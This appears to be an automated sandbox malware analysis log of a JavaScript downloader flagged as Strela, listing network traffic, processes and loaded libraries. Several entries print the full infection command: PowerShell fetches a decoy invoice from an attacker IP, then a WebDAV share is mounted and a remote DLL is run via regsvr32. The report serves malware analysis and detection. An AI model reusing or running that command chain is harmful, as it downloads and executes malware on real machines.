HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1377469931.0000024355148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1440254041.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449555009.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449471559.0000020764530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1449555009.000002076454B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1440254041.000002076454B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W
Source: net.exe, 00000007.00000002.1449471559.0000020764530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d
Source: net.exe, 00000007.00000003.1440254041.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449555009.0000020764562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/i-
Source: net.exe, 00000007.00000003.1440254041.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449555009.0000020764562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/u
Source: svchost.exe, 00000009.00000002.2670630621.000002047B800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1440411396.000002047BA00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7696, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 32474162872806629906.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idcpur1u.2bi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,820544111018087942,12403917839327423551,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,820544111018087942,12403917839327423551,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
